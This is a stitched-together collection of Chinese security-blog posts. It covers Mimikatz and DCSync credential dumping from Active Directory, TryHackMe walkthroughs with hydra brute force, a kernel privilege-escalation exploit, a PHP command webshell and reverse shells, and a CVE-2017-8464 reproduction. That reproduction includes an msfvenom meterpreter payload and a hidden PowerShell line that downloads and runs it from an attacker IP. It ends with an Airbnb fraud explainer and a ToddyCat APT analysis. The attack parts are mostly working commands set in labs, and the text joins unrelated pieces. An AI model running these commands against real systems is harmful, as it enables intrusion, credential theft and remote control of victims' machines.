文件位于DC上的c:\ temp文件夹中,将文件复制到本地计算机。 此截图显示攻击者使用Mimikatz发现明文密码。如果我们没有这个,怎么办? 攻击者可以通过与WMIC的Kerberos机票做同样的事情。 4.使用PowerSploit的Invoke-NinjaCopy 远程拉出ntds.dit (需要在目标DC上启用PowerShell远程处理) Invoke-NinaCopy是一个PowerShell项目中的脚本,可以使用PowerShell远程处理(PowerShell远程处理必须在目标DC上启用)从远程计算机复制文件(即使文件被锁定,提供对文件的直接访问)。 命令: Invoke-NinjaCopy -Path“c:\windows\ntds\ ntds.dit”-ComputerName“RDLABDC02”-LocalDestination“c:\temp\ ntds.dit” 以下示例是从互联网下载代码执行Invoke-Ninjacopy,并完全在内存中执行。如果攻击者损坏了域管理员登录的工作站,则此方法将起作用,从而使攻击者能够将Active Directory数据库文件从域控制器复制到工作站,然后上传到Internet。 使用DIT Snapshot Viewer,我们可以验证是否成功获取了ntds.dit文件。 5.使用Mimikatz(在DC上)本地转储Active Directory凭据 通常,服务帐户是域管理员(或等效的)的成员,或者域管理员最近登录到计算机上的攻击者转储凭据。使用这些凭据,攻击者可以访问域控制器并获取所有域凭据,包括用于创建Kerberos Golden Tickets的KRBTGT帐户NTLM哈希值。 注意:在DC上本机运行时,有许多不同的工具可以转储AD凭据,我更倾向于Mimikatz,因为它具有广泛的凭据窃取和注入功能(以及更多),可以从各种来源和场景启用凭据转储。 命令:mimikatz lsadump :: lsa / inject exit 在域控制器上运行时,Active Directory域中转储凭证数据。需要管理员访问调试或本地SYSTEM权限 注意:RID 502的帐户是KRBTGT帐户,RID 500的帐户是该域的默认管理员。 6.使用Invoke-Mimikatz(在DC上)本地转储Active Directory凭据 调用-Mimikatz是PowerSploit项目中由乔·比尔莱克(@JosephBialek)创建,其包含了Mimikatz的所有功能。它“利用Mimikatz 2.0和Invoke-ReflectivePEInjection来反射性地将Mimikatz完全存储在内存中。这允许您执行诸如转储凭据的操作,而无需将Mimikatz二进制文件写入到磁盘利。“请注意,PowerSploit框架现在托管在”PowerShellMafia“GitHub中。 此外,如果Invoke-Mimikatz以适当的权限运行并且目标计算机启用了PowerShell Remoting,则可以从其他系统中提取凭据,并远程执行标准Mimikatz命令,而不会在远程系统上丢弃文件。 Invoke-Mimikatz的主要功能: 使用mimikatz从LSASS转储凭证: Invoke-Mimikatz -DumpCreds 使用mimikatz导出所有私人证书(即使它们被标记为不可导出):Invoke-Mimikatz - DumpCerts 提升在远程计算机上具有调试权限的权限:Invoke-Mimikatz -Command“privilege :: debug exit”-ComputerName“computer1” Invoke-Mimikatz“Command”参数使Invoke-Mimikatz能够运行自定义Mimikatz命令。 命令: Invoke-Mimikatz -Command'“privilege :: debug”“LSADump :: LSA / inject”exit' 7.用Invoke-Mimikatz(通过PowerShell Remoting)远程转储Active Directory凭据 命令: Invoke-Mimikatz -Command“”privilege :: debug“”LSADump:LSA / inject“” - 计算机RDLABDC02.rd.adsecurity.org 该示例是从Internet下载代码执行Invoke-Mimikatz,并完全在内存中执行。如果攻击者损坏了域管理员登录的工作站,则此方案将起作用,从而使攻击者能够获取AD凭据并上传到Internet。 8.使用Mimikatz的DCSync 远程转储Active Directory凭据 2015年8月添加到Mimikatz的一个主要功能是“DCSync”,其有效地“模拟”域控制器并从目标域控制器请求帐户密码数据。DCSync由Benjamin Delpy和Vincent Le Toux编写。 DCSync之前的漏洞利用方法是在域控制器上运行Mimikatz或Invoke-Mimikatz以获取KRBTGT密码哈希来创建黄金门票。使用Mimikatz的DCSync和适当的权限,攻击者可以通过从网络域控制器中提取密码散列以及以前的密码散列,而无需交互式登录或复制Active Directory数据库文件(ntds.dit)。 运行DCSync需要特殊权限,管理员,域管理员或企业管理员以及域控制器计算机帐户的任何成员都可以运行DCSync来提取密码数据,请注意,默认情况下不仅能读取域控制器还可以为用户提供密码数据。 DCSync如何运行: 发现指定域名中的域控制器。 请求域控制器通过GetNCChanges复制用户凭据(利用目录复制服务(DRS)远程协议) 作者以前已经为域控制器复制做了一些数据包捕获,并确定了域控制器如何复制的内部DC通信流程。 Samba Wiki描述了DSGetNCChanges功能: “客户端DC向服务器发送DSGetNCChanges请求,当第一个请求从第二个请求获取AD对象更新。响应包含客户端必须应用于其DC副本的一组更新。... 当DC接收到DSReplicaSync请求时,对于从其复制的每个DC(存储在RepsFrom数据结构中),它执行周期复制,其类似在客户端中并使DSGetNCChanges请求该DC。所以它从复制的每个DC中获取最新的AD对象。“ DCSync选项: / user - 用户id或要使用的用户SID。 / domain(可选) - Active Directory域的FQDN。Mimikatz将发现域中的DC连接。如果未提供此参数,则Mimikatz默认为当前域。 / dc(可选) - 指定要让DCSync连接到并收集数据的域控制器。 DCSync命令示例: 在rd.adsecurity.org域中提取KRBTGT帐户密码数据: Mimikatz“privilege :: debug”“lsadump :: dcsync /domain:rd.adsecurity.org / user:krbtgt”exit 在rd.adsecurity.org域中提权管理员用户密码数据: Mimikatz“privilege :: debug”“lsadump :: dcsync /domain:rd.adsecurity.org / user:Administrator”exit 在lab.adsecurity.org域中提取出ADSDC03域控制器中计算机帐户的密码数据: Mimikatz“privilege :: debug”“lsadump :: dcsync /domain:lab.adsecurity.org / user:adsdc03 $”exit 如果该帐户启用“可逆加密”,则显示明文密码。
-
[Thm红队]Bounty Hacker赏金黑客之CVE-2021-3493漏洞提权(经常出现)
前言 房间地址:https://tryhackme.com/room/cowboyhacker 你在酒吧里不断地吹嘘你的精英黑客技能,一些赏金猎人决定接受你的索赔!证明您的地位不仅仅是在酒吧喝几杯。我感觉到你的未来是青椒和牛肉! 实战 靶机地址:10.10.178.87 kali启动 扫描 nmap -A -sC 10.10.178.87 扫描结果 如下 查看提示: 访问网站看看他们给了什么 查一下翻译快一点 ,虽然域大致能看懂 看出来这些用户名都不像是要攻击的对象 所以我们需要以匿名登录FTP ftp 10.10.178.87 #用户名 anonymous 有两个文件 我们拿下来看看 如果有passive拦截就先退出 输入passive关闭安全拦截 好的都拿下了 上面的那个是lock.txt 看出来好像是个密码 我们打开task.txt看一下 可以看到我们的ssh用户应该是lin 所以我们需要用九头蛇去爆破他 hydra -t 50 -l lin -P locks.txt -vV 10.10.178.87 ssh 出来了 ssh [email protected] 让我们先拿一个user.txt flag再说 下面还是提权 先看一下内核信息 cat /proc/version #或者 uname -a 系统是乌班图 版本是16.04.12 sudo-l 看一下 提权 以下两种提权方法 第一种CVE-2021-3493提权 根据我们之前看到的版本是16.04.12 可以知道CVE漏洞利用:CVE-2021-3493 https://ssd-disclosure.com/ssd-advisory-overlayfs-pe/ 漏洞给了我们信息 也给了我们演示 看一下CVE漏洞提权演示 GitHub – briskets/CVE-2021-3493: Ubuntu OverlayFS Local Privesc 可以去github下载文件 我把这个名字改了一下传到kali目录里 让后在本机传进去SSH 这里我犯了一个致命的问题(之前一直依赖工具传木马在工具上传文件 ) ,所以这次在ssh里传文件的时候我命令被禁止了, 我百思不得其解,甚至去找群主我为什么错了 不得不说我这此犯的错误有一点蠢哈哈 感谢群主指导, 啊啊啊,有那么一瞬间我觉得我是小可爱 我们scp传的时候是在本机kali上传而不是在ssh上传 scp /tmp/CVE2021.c [email protected]:/tmp 好的传上去了 让我们去编译运行他吧! gcc CVE2021.c -o CVE #编译CVE2021.c 并-o 保存名字为CVE的文件 .CVE #运行我们的内核文件 好的 拿flag OK了 第二种官方题解提权 之前我们sudo -l查询一下我们的权限 可以看见我们可以以root身份去运行/bin/tar 那么这一定是个RCE执行漏洞 我们去这个地址https://gtfobins.github.io/# 搜索一下二进制内核漏洞 让我们搜索一下tar 进去tar 复制命令 tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh 一个命令我们就是root了 再次感谢群主指导 借鉴了群主的WPhttps://blog.csdn.net/qq_54704239/article/details/128405540
-
[Thm红队]Gallery-searchsploit漏洞查询之SQL注入及权限提升(一波三折)
前言 房间地址:https://tryhackme.com/room/gallery666 本次可以学习到非常多的知识,包括SQL注入,文件上传漏洞,Rce漏洞命令执行,Kali-linux中searchsploit数据库里漏洞脚本的利用,加固Shell以及使用国外脚本梭哈提权. 实战 靶机地址:10.10.171.124 nmap -A -sC 10.10.171.124 两个端口进入8080后是 Cms系统如题目 Simple Image Gallery 用kali自带的searchsploit漏洞查询工具查询一下这个系统的漏洞 searchsploit Simple Image Gallery Sql injection翻译过来就是SQL注入 而且给了传入参数是ID 以’闭合 直接Sign in 传马 还是用冰蝎吧 我喜欢直接用冰蝎反弹shell 但是冰蝎有点傻b 但是我反弹之后一会儿就会断 好烦 这两个傻b软件 所以我们还是回归最原始的shell 用的是我之前文章的shell 发现连了还是断 最后还是用了一句话木马 通过看橘墨的直播我也看他们也是用一句话 才发现shell在吊打靶场不如先一句话方便 我也尝试了 到https://www.revshells.com/生成shell burp抓包 NC那里还是失败了 而且我之前尝试拿下数据库账号密码 也登录不上去 很烦人 要么就是连接问题 我在重来一遍如果判断出是连接vpn问题 就是这该死vpn一直断 以后就不打THM 打htb了 Thm这有点恶心 几小时的尝试失败了 ,重来一遍 此时我重启机器 靶机地址也就更换成了:10.10.48.61 我想判断是我shell问题还是连接问题 因此我上传两个shell 一个是我自己的shell 一个是标准答案的shell 我先上传自己的shell 再查看一下标准答案的shell 上传一句话 之前咱们搜索了画廊CMS的漏洞 我们去用标准的shell 这个就是RCE执行漏洞的脚本 让我们看看脚本是怎么写的 把脚本复制到桌面上 ssearchsploit -m php/webapps/50214.py 全自动化的 ,这是他们构造的shell 让我们去kali那里运行他吧 这傻bVPN 真慢 卡死在这里了 本来应该能出的 不得已 我在本机运行python脚本 看到已经上传了 我们去看一下他们上传的shell 之前我们是蚁剑是穿过shell的我们去看一下他们传的一句话 好 那我们就记住这个一句话木马 比我们写的好 <?php if(isset($_GET['cmd'])){ echo '<pre>'; $cmd = ($_GET['cmd']); system($cmd); echo '</pre>'; die; } ?> 那么还是老样子 burpsuite抓包上传试试 发送到重放器(如果不了解)请看我上上一篇的SQL注入有用到burpsuite 我这里重新生成一个 给他转码! 转换之后成红色了 在发送之前我们开启5678监听 他妈的几个小时了,还是失败了! 我尝试url编码去直接发送 还是失败了 还是失败了 还是失败了 下面我就判断是不是VPN问题 我尝试去给我更换一个IP 此时我把我的内网ip更换一下 草 几个小时努力 终于出shell了 解决是我们需要全部编码: 但是还有一个坑 我这里用工具转换的是出不了的 必须用burp转换 妈的 终于出shell了 加固Shell创建终端环境 来自AI解释 id: 这是一个常用的Unix命令,用于显示当前用户的用户ID和组ID,以及用户所属的所有组。 export TERM=xterm: 这是一个shell命令,用于设置环境变量TERM的值为xterm。TERM环境变量定义了终端的类型,这对于某些程序(如文本编辑器或shell)来说是重要的,因为它们会根据这个变量来决定如何显示文本和响应用户输入。 which python3: 这个命令用于查找python3命令的路径。which命令会搜索系统的PATH环境变量中列出的目录,以找到给定命令的完整路径。 python3 -c 'import pty;pty.spawn("/bin/bash")': 这个命令使用Python来启动一个新的bash shell。这里,Python的pty模块被用来创建一个伪终端,并在这个终端上启动bash。这通常用于从受限的环境中获取一个更完整的shell。 ctrl+z退出: ctrl+z是一个键盘快捷键,用于将当前运行的程序放到后台暂停。在Unix-like系统中,你可以按fg(foreground的缩写)来恢复被暂停的程序到前台。 stty raw -echo ; fg: stty raw -echo更改终端设置,使输入的字符不被处理(例如,Ctrl+C不会发送中断信号),并且输入的字符不会被回显到屏幕上。然后使用fg命令将bash shell恢复到前台。 reset 重新连接: reset命令用于重置终端的参数和状态到它们的默认值。在某些情况下,当终端设置被更改或损坏时,这很有用。但是从你给出的命令中,“重新连接”似乎是一个不完整的命令或说明,我无法为你提供更多关于它的信息。 加固shell这几行就可以了 id export TERM=xterm which python3 python3 -c 'import pty;pty.spawn("/bin/bash")' #此时按ctrl+z 退出 再输入: stty raw -echo ; fg reset 重新连接 这样命令不会回显前台,另外也创造终端环境为后续提权 日进数据库查密码 也可以 其实这个我早就拿过了 只是我mysql -u因为没有拿到shell登录不上现在应该可以了 mysql -u gallery_user -p 下面查数据库一套行云流水 如果您还不会数据库基本语法可以看我这篇文章 [Mysql]Navicat Premium 16破解激活教程 2年前156415 show databases; use gallery_db; show tables; select * from users; 利用国外大佬py脚本进行提权! 查看系统的所有用户信息 cat /etc/passwd 妈的就当我要提权的时候kali卡了输入什么也输入不进去 草他妈的 现在是凌晨2:22 草 我终端已关闭shell就没了!在连也连不上了 这给我是致命的打击 因为我从九点 做到此时凌晨了已经六个小时我都没有拿下这个靶场! 人生有很多失败,大不了重来! 大不了重来!!! 重新传shell 这次先不加固了 提权要紧 看来我们必须提权这也与预料的一样 user.txt也拿不到必须提权 把脚本弄到服务器上 我这里在连一下蚁剑传 cd /var/tmp ls chmod 777 linpeas.sh #给予最高权限 ./linpeas.sh 大宝贝出来了 我们可以看到这里豌豆给的CVE漏洞真多啊 脚本根据CVE漏洞已经帮我们跑出来了密码 mike密码终于出来了!! 这时候我们su mike会报错 su mike su: must be run from a terminal 因为此时并不是终端环境 再来一遍就是了! OK 拿flag! 让我们看一下mike的权限 可以看到我们暂时无法看到root的 但是我们可以以root身份nano编辑/opt/rootkit.sh脚本 介绍一下/opt/rookit.sh 我们通过谷歌搜索也找到了如何升级特权 https://gtfobins.github.io/gtfobins/nano/ Rootkit 是一种恶意软件(或一组软件工具),它允许攻击者在系统上隐藏其存在、维持 访问权限并控制受感染的系统。Rootkit 通常旨在逃避标准的系统管理工具和安全程序的检 测。 下面以root身份 编辑rookit.sh脚本 sudo -u root /bin/bash /opt/rootkit.sh read 进去之后 按CTRL+R CTRL+X 写入命令 重定向终端 reset; sh 1>&0 2>&0 下面是AI解释 reset; sh 1>&0 2>&0 是一个在Unix-like系统(如Linux)的shell中执行的命令序列,其中包含了几个不同的部分,下面我会逐一解释: reset: 这是一个用于重置终端或shell到其初始状态的命令。它通常用于清除屏幕上的任何混乱或残留的文本,并恢复终端设置到默认状态。 sh: 这是Bourne shell的简写,也是Unix系统中最原始和最基础的shell。在这里,sh命令用于启动一个新的shell实例。但是,通常你不会单独只写sh,因为那样做的话新的shell会等待你输入命令。在这个上下文中,它后面跟着重定向操作,这意味着它可能用于执行来自某个输入的重定向脚本。 结束前让nano编辑坑了一把 c了 我就 这nano模式有点难受 不得不退出终端在连一次了 从九点打到凌晨四点快给我打崩溃了 回车 whoami 我们是root了 回到我们的shell环境 重新终端环境 python3 -c 'import pty;pty.spawn("/bin/bash")' cd /root ls cat root.txt 从晚上九点到现在凌晨四点历经七个小时 我终于拿到了flag
-
CVE-2017-8464远程命令执行漏洞(震网漏洞)复现
前言 2017年6月13日,微软官方发布编号为CVE-2017-8464的漏洞公告,官方介绍Windows系统在解析快捷方式时存在远程执行任意代码的高危漏洞,黑客可以通过U盘、网络共享等途径触发漏洞,完全控制用户系统,安全风险高危 漏洞描述 攻击者可以向用户呈现包含恶意的.LNK文件和相关联的恶意二进制文件的可移动驱动器或远程共享。 当用户在Windows资源管理器或解析.LNK文件的任何其他应用程序中打开此驱动器(或远程共享)时,恶意二进制程序将在目标系统上执行攻击者选择的代码,成功利用此漏洞的攻击者可以获得与本地用户相同的用户权限。 注释:.LNK是windows系统内应用程序快捷方式文件的文件类型后缀名。 漏洞利用条件和方式: 远程利用 漏洞影响范围: Microsoft Windows 10 Version 1607 for 32-bit Systems Microsoft Windows 10 Version 1607 for x64-based Systems Microsoft Windows 10 for 32-bit Systems Microsoft Windows 10 for x64-based Systems Microsoft Windows 10 version 1511 for 32-bit Systems Microsoft Windows 10 version 1511 for x64-based Systems Microsoft Windows 10 version 1703 for 32-bit Systems Microsoft Windows 10 version 1703 for x64-based Systems Microsoft Windows 7 for 32-bit Systems SP1 Microsoft Windows 7 for x64-based Systems SP1 Microsoft Windows 8.1 for 32-bit Systems Microsoft Windows 8.1 for x64-based Systems Microsoft Windows RT 8.1 服务器系统 Microsoft Windows Server 2008 R2 for Itanium-based Systems SP1 Microsoft Windows Server 2008 R2 for x64-based Systems SP1 Microsoft Windows Server 2008 for 32-bit Systems SP2 Microsoft Windows Server 2008 for Itanium-based Systems SP2 Microsoft Windows Server 2008 for x64-based Systems SP2 Microsoft Windows Server 2012 Microsoft Windows Server 2012 R2 Microsoft Windows Server 2016 漏洞复现: 利用原理: 创建恶意快捷方式,包含恶意执行脚本,点击恶意快捷方式,导致本机中病毒。 环境搭建: 攻击机:kali ip:10.0.0.140 目标靶机:win2008r2x64 ip:192.168.99.104 1.kali下生成一个反弹的 ps1的shell: msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.0.0.140 lport=5555 -f psh-reflection>/opt/search.ps1 2.切换到opt目录,然后查看到已生成了search.ps1 的powershell 后门 cd /opt ls 3.将生成的search.ps1拷贝到/var/www/html目录下 mv search.ps1 /var/www/html ls 4.启动apache服务 service apache2 start 5.访问web下的search.ps1,可以直接访问: 6.在靶机上创建一个powershell远程快捷: powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.140/search.ps1');test.ps1" 7.名称为:powershell.exe 8.kali下创建监听反弹,并且可以看到成功反弹出靶机的shell: use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp show options set LHOST 10.0.0.140 set lport 5555 exploit
-
网络犯罪分子如何利用爱彼迎从事欺诈活动?
爱彼迎(Airbnb)在全球10万个活跃城市拥有超过700万个房源,为广大游客提供了价位合理、环境舒适的住宿,但超旺的人气也使其容易受到网络犯罪分子、欺诈性房东、虚假帐户及其他骗局的攻击。 本文便着重探讨了网络犯罪分子如何利用爱彼迎及其用户。 走近窃取器的世界 为了了解网络犯罪分子在如何利用爱彼迎,明白他们用来未经授权访问帐户的方法至关重要。 网络犯罪分子经常使用一种名为“窃取器”(stealer)的恶意软件来获取用户名和密码等信息,这类窃取器其实是一种恶意软件,渗入设备,并将窃取的数据(又名为日志)传输给攻击者。日志通常被发送到服务器,但在一些情况下,日志也可以通过电子邮件和Telegram等安全聊天程序来加以传送。 窃取器可以通过各种不同的技术加以部署,包括社会工程、利用软件漏洞和恶意广告等技术。 此外,还有一个地下市场,网络犯罪分子可以在这里大量买卖设备访问权限(又叫机器人程序、安装件或感染)。 图1. 该截图显示了网络犯罪分子在论坛上出售机器人程序 愿意花钱的网络犯罪分子可以联系机器人程序卖家或商店,立即开始在成千上万个设备上部署窃取器。 图2. 该截图显示了在一个臭名昭著的网络犯罪论坛上可售的不同窃取器 窃取器可以入侵大多数浏览器,主要目标是网络应用程序的帐户信息。日志通常遵循特定的格式,这包括多列,其中的一行行数据含有各种信息,比如姓名和信用卡或借记卡详细信息等。除了获取登录凭据外,窃取器还可以泄露cookie。 cookie的重要性 cookie是存储在用户设备上的小小的数据文件,其中含有关于用户在特定网站上浏览活动和访问偏好的信息,网络犯罪分子经常在各种在线论坛上窃取、购买和出售爱彼迎帐户的cookie。这样一来,他们就可以暂时访问爱彼迎帐户,不需要相关的用户名和密码。 图3. 该截图显示了网络犯罪论坛上的一个用户试图购买爱彼迎cookie 比如说,网络犯罪分子可以从受攻击帐户购买被盗的爱彼迎cookie数据库,将cookie加载到浏览器中,并访问受害者的帐户。有了这种非法访问权限,他们可以冒充真实用户,预订房源或执行其他未经授权的操作,而不会引发任何警报。然而需要注意的是,大多数会话cookie很快就会过期,因此网络犯罪分子必须在会话过期之前迅速采取行动。 有利可图的服务 一旦网络犯罪分子获得了用户帐户信息或获得窃取的cookie,他们的下一个目标通常就是从这些数据中牟利,一种标准的方法是直接向其他网络犯罪分子出售受攻击帐户的信息或被盗的cookie。 这可以通过在在线论坛上打广告来实现,也可以通过将一行行数据上传到为这类交易提供便利的热门商店来实现。 图4. 该截图显示了一家大受欢迎的网络犯罪商店出售爱彼迎帐户 在写这篇博文的时候,在上面提到的那家数字商店上有成千上万个爱彼迎帐户可供购买,令人震惊的是,大量被盗的帐户使每个帐户的价值缩水至区区1美元。 实际上,爱彼迎帐户被盗的规模非常庞大,以至于攻击者出售“帐户检查器”,这种自动化程序可以快速测试位于某个文本文件中的爱彼迎帐户。 图5. 该截图显示了为爱彼迎帐户检查器所打的广告 这些帐户检查器背后的概念比较简单。攻击者可以将一个含有大量被盗凭据的文本文件加载到检查器中,验证哪些凭据有效、哪些凭据无效。一些检查器还可以执行特定的操作,比如预房源。 网络犯罪分子还提供服务,为爱彼迎预订提供高达50%的折扣。 图6. 该截图显示了一项服务对爱彼迎的所有预订提供50%的折扣 很明显,这类服务有利可图,因为论坛上宣传这些服务的帖子已经收到了数以万计的浏览量和数以百计的回复量。 总而言之,网络犯罪分子已经发现了利用爱彼迎从事欺诈活动的各种方法,通过使用窃取器和被盗的cookie未经授权访问用户帐户。然后,这些泄露的信息被卖给其他网络犯罪分子,或者被用来向买家提供折扣服务。被盗帐户的规模相当大,数字商店里已有成千上万爱彼迎帐户,以低至1美元的单价就能买到。 我们必须意识到风险,并采取必要的预防措施,以保护个人信息免受此类网络威胁。
-
ToddyCat攻击手段再度升级
ToddyCat是一个相对较新的复杂APT组织,卡巴斯基研究人员最早在2020年11月检测到该组织的活动,当时该威胁组织正在对目标的Microsoft Exchange服务器进行一系列攻击,去年的一篇文章曾描述过它。 之后,该组织于2020年12月开始活动,并对欧洲和亚洲的知名对象发动了多起攻击。 在去年,我们发现了一组新的全新加载程序,并收集了有关其开发后活动的信息,这使我们能够扩展对该组织的了解,并获得有关攻击者的TTP(战术,技术和程序)的新信息。接下来,我们将描述他们的新工具集,用于窃取和泄露数据的恶意软件,以及该组织用于横向移动和进行间谍活动的技术。 工具集 标准的加载器 加载程序是64位库,由rundll32.exe调用,或者用合法的和签名的可执行文件进行侧加载,这些组件在感染阶段用于加载Ninja木马作为第二阶段。我们已经看到了这些新加载器的三种变体: 第一个变体的文件名为update.dll或x64.dll,通常使用合法的rundll32.exe Windows实用程序加载,大多数恶意代码驻留在DllMain中,但下一个阶段是通过导出的Start函数调用的,其他两个变体应该与合法的VLC.exe媒体播放器一起加载,这被滥用来加载恶意库。 加载程序通过从同一目录中应该存在的另一个文件加载加密的有效负载来启动其活动,然后使用异或对加载的数据进行解码,其中异或项是使用一种不寻常的技术生成的。恶意软件使用静态种子(static seed)通过shuffle和add操作生成256字节的XOR_KEY块。 使用另一个嵌入的64字节IDX块作为索引再次对生成的XOR_KEY块进行改组,以获得特定的256字节XOR键,XOR密钥用于解密文件内容,并将结果值加载到内存中。 Update A和VLC A在其进程地址空间中加载下一阶段,解密的有效负载应该是一个库,该库导出具有特定名称的函数:“Start”或“_”,具体要看变体。 变体VLC B创建一个新的wusa.exe (Windows Update Standalone Installer)进程,这是一个位于System32目录下的合法Windows程序。然后,它将解密的有效负载注入远程进程地址空间的地址空间,并使用CreateRemoteThread函数运行它。 定制的加载程序 调查时,我们注意到在攻击某些目标时,攻击者用另一种变体替换了标准加载程序,我们称之为定制加载程序,因为加密文件是为特定系统量身定制的。 该代码与标准加载器变体VLC a类似,主要区别在于加密文件的位置和文件名(%CommonApplicationData%\Local\user.key )以及用于获取最终有效负载的解密方案。使用上面提到的相同算法,其中使用XOR_SEED生成256字节的XOR_KEY块,然后使用另一个嵌入的64字节IDX块将其混合,在混合两个块之前,恶意软件会收集PhysicalDrive0的存储属性,从而获得硬盘的型号。 用于获取存储属性的代码片段 并使用GetVolumeNameForVolumeMountPointA函数来检索“C:\”卷GUID。 用于获取卷GUID的代码片段 这两个值连续用作修改IDX块的异或项。这种方法表明存储在 user.key的加密有效负载是为目标系统量身定制的。 据观察,定制加载器用于保持长期持久性。用于实现此目标的技术与攻击者的Samurai后门所使用的技术相同,后者允许攻击者将恶意软件隐藏在svchost.exe地址空间中。 在这种情况下,攻击者创建以下注册表项: 此注册表项旨在强制合法的svchost.exe进程在系统启动期间加载FontCacheSvc服务。进程的命令行看起来像这样: C:\Windows\system32\svchost.exe -k fontcsvc -s fontachesvc 攻击者还创建一个新的服务,该服务被配置为加载定制的加载程序,该加载程序通常存储在文件名apibridge.dll中。 Ninja 由前面描述的组件加载的最后一个阶段是Ninja代理。这是一种用c++编写的复杂恶意软件,可能是ToddyCat开发的未知利用后工具包的一部分。我们之前介绍过。 代理是一个提供各种功能的强大工具,包括但不限于: 运行进程的枚举和管理; 文件系统管理; 管理多个反向shell会话; 向任意进程注入代码; 在运行时加载附加模块(可能是插件); 代理功能,用于在C2和远程主机之间转发TCP数据包。 代理的最新版本支持与上一个报告中描述的相同的命令,但是配置不同。虽然以前的版本使用XOR项0xAA混淆了嵌入式配置,但新版本使用NOT二进制操作来实现相同的目的。 尽管配置中包含的信息保持不变,但互斥对象名称已移到HTTP标头之后。 LoFiSe 这是一个用于查找和收集目标系统上感兴趣文件的组件。LoFiSe这个名字来源于这个工具使用的互斥对象名称(' MicrosoftLocalFileService '),该工具本身是一个名为DsNcDiag.dll的DLL文件,使用DLL侧加载技术启动。使用软件包“Pulse Secure Network Connect 8.3”中具有数字签名和原始名称为“nclauncher.exe”的合法可执行文件作为加载程序。以下路径和文件名在被攻击的系统上是已知的: C:\Program Files\Windows Mail\AcroRd64.exe C:\Program Files\Windows Mail\DsNcDiag.dll C:\Program Files\Common Files\VLCMedia\VLCMediaUP.exe C:\Program Files\Common Files\VLCMedia\DsNcDiag.dll启动后,LoFiSe开始跟踪文件系统中的更改。系统中的所有驱动器都被监控。在收到文件创建或修改事件后,该工具执行几次检查。过滤大小大于6400000字节( 6mb)的文件。某些文件夹中的文件也会被过滤。这些都是在其完整路径中包含ProgramData的文件,或者已经存储在LoFiSe工作目录中的文件。 以下是工具存储文件的工作目录,具体取决于版本: C:\Programdata\Microsofts\ C:\windows\temp\在下一阶段,根据以下掩码检查文件扩展名: 如果文件通过了所有的检查并且适合收集,LoFiSe就会计算它的MD5哈希值,并用它来检查以前复制的文件,并将此信息存储在数据库中。在该工具的所有已知版本中,数据库文件称为Date.db,并在工作目录中创建。数据库中添加了两个表: 数据库中的文件路径 其他存储数据 如果MD5文件不在表中,它将被添加到工作目录中。 每隔三个小时,LoFiSe将工作目录中的所有文件收集到一个有密码保护的ZIP-archive中,并将其放入一个单独的文件夹中以供进一步窃取: 准备收集数据时产生的日志 DropBox上传器 这是一个通用的DropBox上传器,任何人都可以使用它将数据上传到流行的文件托管服务。这个工具可能不是todddycat唯一使用的,但我们观察到该组织使用它来窃取被盗的文件, 这个小实用程序接受DropBox用户访问令牌作为参数。然后,它解析当前工作目录并上传具有以下扩展名的文件: 调查中,我们还发现了其他几个类似的样品,这些样品由不同的包装商保护,只在东南亚检测到。然而,在某些示例中,该工具是在没有明显被ToddyCat感染的系统上发现的。 Pcexter 这是另一个用于将存档文件泄露到微软OneDrive的上传程序。该工具作为名为Vspmsg.dll的DLL文件传播,该文件使用DLL侧加载技术执行,作为加载器,该工具使用来自Visual Studio的合法可执行文件VSPerfCmd,该文件用于收集性能数据。这些可执行文件在受攻击系统上的已知路径如下: c:\windows\temp\googledrivefs.exeC:\windows\temp\vspmsg.dll c:\program files\windows mail\securityhealthsystray64.exec:\program files\windows mail\vspmsg.dll c:\program files\common files\vlcmedia\vlcmediastatus.exec:\program files\common files\vlcmedia\vspmsg.dll这个工具需要以下参数: 启动后,Pcexter等待事件“Global\SystemLocalPcexter”触发,然后开始使用给定的掩码在指定目录中搜索文件。这是LoFiSe工具在创建要发送的存档时设置的事件。 Pcexter使用OneDrive OAuth 2.0授权,检索访问令牌并通过POST方法发送文件: 其他工具 被动UDP后门 这是一个很小的被动后门,用UDP数据包接收命令,攻击者通常在执行此后门之前通过任务远程执行以下命令。 该命令在目标主机上创建一个名为SGAccessInboundRule的新防火墙规则。它允许后门在端口49683上接收UDP数据包。执行该命令后,攻击者执行后门: 后门的逻辑很简单:它将UDP套接字绑定到指定端口,解压缩接收到的数据,并使用WinExec函数执行结果字符串。命令执行后,后门会返回一条包含当前系统时间和已执行命令的消息,以此反馈命令的执行情况。但是,后门程序不提供该命令的输出。 这个后门的确切目的目前尚不清楚,但有可能是为了在检测到其他植入程序时提供额外的持久性。 CobaltStrike 在调查过程中,我们观察到攻击者在部署Ninja代理之前使用了CobaltStrike。具体来说,我们观察到一个用c++编写的加载器的使用,它位于: C:\ProgramData\Microsoft\mf\windef.dll恶意软件加载一个名为“BIN”的嵌入式资源。使用异或算法和嵌入在代码中的密钥:B0 9A E4 EA F7 BE B7 B0对资源内容进行反混淆。 由此产生的有效负载是CobaltStrike信标,配置为与以下URL通信: hxxps://www.githubdd.workers[.]dev/fam/mfe?restart=false攻击开始大约10分钟后,系统检测到ToddyCat Ninja。 Post-exploitation 调查发现,为了实现这一目标,攻击者使用上面描述的加载程序和木马等工具渗透企业网络。之后,它就开始收集连接到同一网络主机的信息,以查找可能具有感兴趣文件的目标。 该组织执行发现活动,通过利用标准操作系统管理实用程序(如net和ping)枚举域帐户和DC服务器: 在确定潜在目标后,该组织通过使用受攻击的域管理凭据在本地安装网络共享来横向移动: 攻击者注意随着时间的推移轮换使用的凭据,相同的凭据不太可能长期使用。 复制脚本后,将创建一个计划任务,执行并立即删除网络共享,所有这些都是针对每个目标主机循环进行的: 计划任务通常可以包含单个发现命令、二进制调用或负责执行收集活动的PS1或BAT脚本。 在横向移动期间,单命令计划任务的输出保存在特定的文件中,以便攻击者将远程驱动器挂载为本地共享时可以捕获它: 在运行脚本的情况下,命令如下:然后,我们观察到PS1脚本中发现的相同的PowerShell命令被包装在BAT脚本中,这可能是为了避免被检测到。 然而,有些文件夹似乎比其他文件夹更受欢迎: 攻击者会对同一会话重用相同的任务名,这样的名字通常会引起较少的怀疑,例如“one”和“tpcd”,而脚本名称可以从两个到四个随机的键盘观察字符变化,具有更高的熵。 在活动结束时,挂载一个临时共享,然后在泄漏主机上删除: 数据收集和泄露 